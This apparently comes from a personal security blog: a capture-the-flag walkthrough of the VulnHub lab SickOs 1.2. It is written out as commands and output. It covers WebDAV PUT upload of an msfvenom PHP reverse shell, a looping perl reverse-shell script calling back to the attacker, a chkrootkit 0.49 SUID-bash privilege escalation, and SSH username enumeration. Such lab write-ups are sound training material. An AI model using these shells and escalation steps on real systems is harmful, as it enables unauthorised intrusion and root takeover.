seekorswim My Security Blog

SickOs: 1.2

VulnHub URL: https://www.vulnhub.com/entry/sickos-12,144/
Hostname: ubuntu
IP Address: 10.183.0.196


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.196.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/sickos12# nmap -Pn -sT -sV -A -oA sickos12 -p 1-65535 10.183.0.196
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-22 13:44 EDT
Nmap scan report for ubuntu.homenet.dom (10.183.0.196)
Host is up (0.0041s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
|   2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_  256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open  http    lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:D8:A3:27 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   4.09 ms ubuntu.homenet.dom (10.183.0.196)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.22 seconds


Gaining Access


The nmap scan returned the following software versions.
  • OpenSSH 5.9p1 - primarily issues with username enumeration
  • lighttpd/1.4.28 - no applicable vulnerabilities

I'm going to start by looking at the HTTP service on TCP port 80. Before actually browsing to the site, though, I'm going to scan the service with nikto.

root@kali:~/Walkthroughs/sickos12# nikto -h http://10.183.0.196
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.183.0.196
+ Target Hostname:    10.183.0.196
+ Target Port:        80
+ Start Time:         2019-04-22 14:06:55 (GMT-4)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26545 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2019-04-22 14:08:43 (GMT-4) (108 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto finds surprising little. Guess I'll have to browse to the site to see what's going on.

The default site is equally useless. It only returns an image and a comment that says "NOTHING IN HERE".

Let's see if there are any interesting HTTP methods supported. We can try to get the methods using curl...

root@kali:~/Walkthroughs/sickos12# curl -sIX OPTIONS --url http://10.183.0.196
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.10-1ubuntu3.21
Content-type: text/html
Transfer-Encoding: chunked
Date: Mon, 22 Apr 2019 21:08:36 GMT
Server: lighttpd/1.4.28

As well as nmap...

root@kali:~/Walkthroughs/sickos12# nmap -p 80 --script http-methods 10.183.0.196
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-22 17:14 EDT
Nmap scan report for ubuntu.homenet.dom (10.183.0.196)
Host is up (0.0016s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
MAC Address: 08:00:27:D8:A3:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

Curl doesn't return anything interesting, and nmap just gives us the standard fare.

Time to start brute forcing directories to see if we can find anything. Using wfuzz, I'm able to find two additional locations. One is listable, but empty (/test/). The other is "Forbidden" (/~sys~)... but a request to any directory ending in a tilde (~) returns 403 Forbidden... so that's not helpful.

root@kali:~/Walkthroughs/sickos12# wfuzz -z file,/usr/share/dirb/wordlists/big.txt -t 30 --hc 404 http://10.183.0.196/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer                         *
********************************************************

Target: http://10.183.0.196/FUZZ
Total requests: 20469

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

017880:  C=301      0 L        0 W            0 Ch        "test"
020464:  C=403     11 L       26 W          345 Ch        "~sys~"

Total time: 26.72272
Processed Requests: 20469
Filtered Requests: 20467
Requests/sec.: 765.9772

The test directory is empty, but let's see if it supports any interesting HTTP methods.

root@kali:~/Walkthroughs/sickos12# curl -sIX OPTIONS --url http://10.183.0.196/test/
HTTP/1.1 200 OK
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Allow: OPTIONS, GET, HEAD, POST
Content-Length: 0
Date: Mon, 22 Apr 2019 21:18:11 GMT
Server: lighttpd/1.4.28

Ah. Now we are getting somewhere. It looks like the test directory has Web Distributed Authoring and Versioning (WebDAV) enabled. Let's see if we can upload a PHP reverse shell using the PUT method.

First, we'll create our PHP reverse shell using msfvenom.

root@kali:~/Walkthroughs/sickos12# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3033 bytes

Now, we'll use curl to try to upload the file.

root@kali:~/Walkthroughs/sickos12# curl -T rev.php --url http://10.183.0.196/test/rev.php
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en" lang="en">
<head>
  <title>417 - Expectation Failed</title>
</head>
<body>
  <h1>417 - Expectation Failed</h1>
</body>
</html>

Hmmm... we are getting a "417 - Expectation Failed" error. Googling this error, we see that we might need to set curl to use HTTP 1.0 with the -0 or --http1.0 option. Let's set that option and try again.

root@kali:~/Walkthroughs/sickos12# curl -v0T rev.php --url http://10.183.0.196/test/rev.php
* Expire in 0 ms for 6 (transfer 0x563df5706d00)
*   Trying 10.183.0.196...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x563df5706d00)
* Connected to 10.183.0.196 (10.183.0.196) port 80 (#0)
> PUT /test/rev.php HTTP/1.0
> Host: 10.183.0.196
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 3033
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Length: 0
< Connection: close
< Date: Mon, 22 Apr 2019 21:43:32 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0

No errors this time. Let's check the site.



Nice! Before clicking on the rev.php file, let's fire up our listeners in Metasploit. I like to start two listeners because the PHP reverse shell doesn't typically stay up very long. Once it is up, I like to start a second shell using perl.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5433

Now let's request our PHP reverse shell using curl.

root@kali:~/Walkthroughs/sickos12# curl --url http://10.183.0.196/test/rev.php

Hmmm... That didn't seem to work... but why? It is possible the system has egress filtering and won't allow requests on just any port. Maybe if we try to have the reverse shell connect out on TCP port 80 or 443 (common web ports) it will work.

Let's rebuild our PHP reverse shell using msfvenom. This time we'll have it try to connect back to us on TCP port 80.

root@kali:~/Walkthroughs/sickos12# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=80 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 2999 bytes

We'll re-upload rev.php using curl...

root@kali:~/Walkthroughs/sickos12# curl -v0T rev.php --url http://10.183.0.196/test/rev.php
* Expire in 0 ms for 6 (transfer 0x55751dba7d00)
*   Trying 10.183.0.196...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x55751dba7d00)
* Connected to 10.183.0.196 (10.183.0.196) port 80 (#0)
> PUT /test/rev.php HTTP/1.0
> Host: 10.183.0.196
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 2999
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Length: 0
< Connection: close
< Date: Mon, 22 Apr 2019 21:53:28 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0

We need to stop our previous listeners in Metasploit and start new ones. Hopefully the target can make outbound requests to 80, 443, and maybe 53. I'll set up listeners for each and we'll try them all.

msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 53
LPORT => 53
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 5.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:53
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 80
LPORT => 80
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 6.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:80
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 7.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:443

OK. All set up. Let's try that again.

root@kali:~/Walkthroughs/sickos12# curl --url http://10.183.0.196/test/rev.php

Bummer. TCP port 80 didn't work. Let's recreate our rev.php file using TCP port 443 and upload again.

root@kali:~/Walkthroughs/sickos12# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=443 -f raw > rev.php
root@kali:~/Walkthroughs/sickos12# curl -v0T rev.php --url http://10.183.0.196/test/rev.php
root@kali:~/Walkthroughs/sickos12# curl --url http://10.183.0.196/test/rev.php

BINGO! That worked.

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:443 -> 10.183.0.196:55184) at 2019-04-22 17:58:13 -0400

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

pwd
/var/www/test
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Unfortunately, as stated before, the PHP reverse shell doesn't stay active very long. I'll need to set up a script to make a reverse shell connection back to my attacker on TCP port 443. Thankfully, I can write the script on my attacker system and transfer it to the victim using PUT.

root@kali:~/Walkthroughs/sickos12# cat rev.sh
#!/bin/sh
while true; do
    perl -e 'use Socket;$i="10.183.0.222";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done
root@kali:~/Walkthroughs/sickos12# curl -v0T rev.sh --url http://10.183.0.196/test/rev.sh
* Expire in 0 ms for 6 (transfer 0x55d917b09d00)
*   Trying 10.183.0.196...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x55d917b09d00)
* Connected to 10.183.0.196 (10.183.0.196) port 80 (#0)
> PUT /test/rev.sh HTTP/1.0
> Host: 10.183.0.196
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 308
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 201 Created
< Content-Length: 0
< Connection: close
< Date: Mon, 22 Apr 2019 22:09:41 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0

Now, I just need to connect back to the PHP reverse shell session, set rev.sh as executable and run it in the background. Once it is running, I'll disconnect from the PHP reverse shell and start a listener for the perl reverse shell. It will take about 5 minutes to get back to me, but this will also handle my "Maintaining Access" step. 🙂


Maintaining Access


See above.


Privilege Escalation


Once we have a stable connection to the victim, we check the operating system information using 'uname'.

www-data@ubuntu:/$ uname -a
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

We also check the 'os-release' file in /etc.

www-data@ubuntu:/etc$ cat os-release
NAME="Ubuntu"
VERSION="12.04.4 LTS, Precise Pangolin"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu precise (12.04.4 LTS)"
VERSION_ID="12.04"

Checking the exploit database, there is only one potential kernel exploit we can try.

Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation                   | exploits/linux/local/41995.c

We will use our DAV service to transfer the C file to the victim.

root@kali:~/Walkthroughs/sickos12# curl -v0T 41995.c --url http://10.183.0.196/test/41995.c

Unfortunately, we can't get the exploit to compile on the victim or our attacking machine. Let's see what else we can find on the system.

Looking through the cron jobs, I noticed there is a job for chkrootkit. Since I know some versions of this application are vulnerable to privilege escalation, I check the version.

www-data@ubuntu:/etc/cron.daily$ chkrootkit -V
chkrootkit version 0.49

We are in luck. This is a known vulnerable version.

Chkrootkit 0.49 - Local Privilege Escalation                                                                 | exploits/linux/local/33899.txt

To take advantage of this vulnerability, we just need to create an executable file named '/tmp/update' with the commands we want root to run for us. Since getting outbound connections is tricky and we don't know yet how that's working, let's just have root create a SUID version of bash for us. We'll create our script on the attacking machine and then transfer it over using PUT (like before).

root@kali:~/Walkthroughs/sickos12# cat update
#!/bin/sh
chown root /tmp/bash
chmod u+s /tmp/bash
root@kali:~/Walkthroughs/sickos12# curl -v0T update --url http://10.183.0.196/test/update

Then, on the victim...

www-data@ubuntu:/tmp$ cd /tmp
www-data@ubuntu:/tmp$ cp /bin/bash .
www-data@ubuntu:/tmp$ mv /var/www/test/update .
www-data@ubuntu:/tmp$ chmod +x update

Now, we just have to wait for the next time chkrootkit runs. Since it is set to run daily, we shouldn't have to wait more than 24-hours.

Well... just a few minutes later... we see our commands have run...

www-data@ubuntu:/tmp$ ls -l
total 904
-rwsr-xr-x 1 root     www-data 920788 Apr 22 15:47 bash
srwxr-xr-x 1 www-data www-data      0 Apr 22 05:38 php.socket-0
-rwxr-xr-x 1 www-data www-data     52 Apr 22 15:48 update

The bash executable is now owned by root and has the sticky bit set. This makes getting root a breeze.

www-data@ubuntu:/tmp$ ./bash -p
./bash -p
bash-4.2# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)

Let's get that flag...

bash-4.2# cd /root
bash-4.2# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.


Pivoting

N/A


Clean Up


*** REMOVE /var/www/test/rev.php ***
*** STOP /var/www/test/rev.sh ***
*** REMOVE /var/www/test/rev.sh ***
*** REMOVE /tmp/bash ***
*** REMOVE /tmp/update ***



Additional Info


Enumerating OpenSSH Users

Let's see about that user enumeration issue in OpenSSH.

OpenSSH 2.3 < 7.7 - Username Enumeration                                                                     | exploits/linux/remote/45233.py

I copy 45233.py from the exploit database and run it to check the options. However, I'm greeted with an error. Apparently the paramiko library has changed since the exploit was written and I need to update all references to _handler_table to _client_handler_table. After making this change, I'm able to run the script and enumerate some user accounts.

python 45233.py --threads 4 --outputFile ssh-enum --outputFormat json --userList /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt 10.183.0.196

We are able to enumerate the following accounts:
  • backup
  • bin
  • daemon
  • games
  • gnats
  • irc
  • john
  • libuuid
  • list
  • lp
  • mail
  • man
  • messagebus
  • news
  • nobody
  • proxy
  • root
  • sshd
  • sync
  • sys
  • syslog
  • uucp
  • www-data


iptables

Checking the iptables after we got root, it appears the only other outbound port that would have worked was 8080.

root@ubuntu:~# iptables-save
# Generated by iptables-save v1.4.12 on Mon Apr 22 16:08:25 2019
*filter
:INPUT DROP [165904:10347077]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [72522:5152658]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT
# Completed on Mon Apr 22 16:08:25 2019

There are also some interesting "source port" rules. So, you could open a bind shell on any port on the victim, but you'd have to specify a source port of 443 or 8080 to reach it. Or, you could do a reverse shell from the victim, but you'd have to specify a source port of 22 or 80 for having it reach back to the attacker (which would require root, to bind to the low ports).

NOTE: You can use the -p option in netcat (when acting as a client) to specify your source port.


/etc/cron.d

I wasn't able to access the cron.d folder as a limited user. Once I got root, I went to see why. Turns out, this is where chkrootkit is set to run every minute (which is why I was able to elevate privs so quickly... thankfully).

root@ubuntu:/etc/cron.d# cat chkrootkit
* * * * * root /usr/sbin/chkrootkit